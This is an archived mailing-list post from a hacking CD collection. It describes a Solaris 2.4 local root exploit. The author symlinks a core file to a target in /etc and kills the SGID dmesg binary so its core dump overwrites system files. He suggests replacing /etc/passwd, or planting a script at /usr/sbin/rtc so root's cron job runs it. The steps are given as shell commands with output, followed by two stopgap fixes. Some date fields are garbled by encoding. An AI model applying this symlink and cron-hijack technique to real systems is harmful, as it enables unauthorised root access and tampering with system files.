home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / Sol2.4Core.txt < prev    next >
Encoding:
Internet Message Format  |  2001-11-06  |  3.7 KB

  1. From: Jungseok Roh <beren@cosmos.kaist.ac.kr>
  2.  
  3.  
  4.  I think this bug is widely spreaded in Korea . but not all over the world.
  5.  The following contents are wholly from SeokChan Lee,  one of the best alu
  6.  mnus of the legendaray security task force team .K** .
  7.  Also whom I look up to ..:)
  8.  
  9.  The problem is the Core dump system of Zolaris 2.4 .
  10.  let's look into the man page of core(4) . and then concentrate on one phr-
  11.  ase .
  12.  
  13. core(4)                   File Formats                    core(4)
  14. NAME
  15.      core - core image file
  16. DESCRIPTION
  17.      The operating system writes out a core image  of  a  process
  18.      when  it  is  terminated due to the receipt of some signals.
  19.      The core  image  is  called  core  and  is  written  in  the
  20.      process's  working  directory  (provided  it  can be; normal
  21.      access controls apply).  A process with an effective user ID
  22.      different  from  the  real  user  ID will not produce a core
  23.      image.
  24.  
  25.   NOTICE the last phrase !!
  26.  
  27.   A PROCESS with an effective user ID different from the real user ID will
  28.   NOT produce a core image . That's very important in Security phase .
  29.   If such systmem be not SET , We can make a core file anywhere ....
  30.   Just killing the signal .. ( U knows why i use the term KILL )..
  31.  
  32.   * Now just Sightsee  the file system..
  33.     another INTERESTING stuff in file system detected.
  34.  
  35. [cosmos:beren] uname -a
  36. SunOS cosmos 5.4 Generic_101945-32 sun4m sparc
  37. [cosmos:beren] ls -ald /etc
  38.  $)C
  39.    8 drwxrwxr-x  25 root     sys         3584  7 ?y  25 @O   18:46 /etc/
  40. [cosmos:beren] ls -ald /usr
  41.    2 drwxrwxr-x  30 root     sys         1024  7 ?y   5 @O   17:26 /usr/
  42. [cosmos:beren] ls -ald /usr/sbin
  43.   10 drwxrwxr-x   4 root     bin         4608  5 ?y  18 @O   03:38 /usr/sbin/
  44. [cosmos:beren] ls -ald /usr/sbin
  45.   10 drwxrwxr-x   4 root     bin         4608  5 ?y  18 @O   03:38 /usr/sbin/
  46.  
  47.   ****  It's GROUP WRITABLE !!  *****
  48.  
  49.   Most of u guys know what I about to say ..
  50.   Main Idea is ..
  51.   "Let's stab that file system at back using the sword , SGIDed utils.. "
  52.   then let's traverse the file system and then take the sword ..
  53.  
  54. [cosmos:beren] find /usr -perm -2000 \( -group sys -o -group bin \) -ls
  55.   ...
  56.  
  57.   its sword family is dmesg , netstat and all that .
  58.   then take "dmesg" as the sword .
  59.  
  60. [cosmos:beren] ls -al /usr/sbin/dmesg
  61.   12 -r-xr-sr-x   1 bin      sys         5520 1994  Jul 15 /usr/sbin/dmesg*
  62.  
  63.   It's sys SGIDed.
  64.  
  65. [cosmos:beren] ln -s /etc/SOMETHING core
  66. [cosmos:beren] stty ^\^\
  67. [cosmos:beren] pwd
  68. /tmp
  69. [cosmos:beren] dmesg
  70. /* then slightly after u type this command kill it . using stty ^\^\
  71.    there comes the following results */
  72. ^C (Core dumped)
  73. [comos:beren] ls /etc/SOMETHING
  74. SOMETHING
  75.  
  76. like this way u can overwrite /etc/passwd or do any operation on them.
  77. if u runs sparc Zolaris 2.4 look at the root's crontab file .
  78. see it ..! definately it contains the next phrase ..
  79.  
  80. # The rtc command is run to adjust the real time clock if and when
  81. 1 2 * * * [ -x /usr/sbin/rtc ] && /usr/sbin/rtc -c > /dev/null 2>&1
  82.  
  83. rtc is used in zolaris x86.
  84.  
  85. so u can make /usr/sbin/rtc as the exploitation script . and can do anythin.
  86.  
  87. U Can fix this problem.. "Two ways.."
  88. but These two TEMPORARY FIXING has drawbacks on its phase.
  89.  
  90. 1. Just blow up the Group - writable bit on each file system..
  91.   ** but there occurs  a problem when PATCH is needed..
  92.    I don't know what problem would be occur ..
  93.    but the GURU seokchan Lee notified me that .
  94.  
  95. 2. echo "set coredefault=0" >> /etc/system
  96.   ** but it makes CoreDump disable..
  97.    might be Not a good method if you develop somethin. and wanna view core.
  98.  
  99.  I don't know sun made a patch on this effect.
  100.  It doesn't work on Zolaris 2.5 .. I tested it.
  101.  
  102. __
  103.  
  104.   Beren .. it the lost tales ....
  105.  
  106.  JungSeok Roh /  Junior in KAIST management Dep. / beren@cosmos.kaist.ac.kr
  107.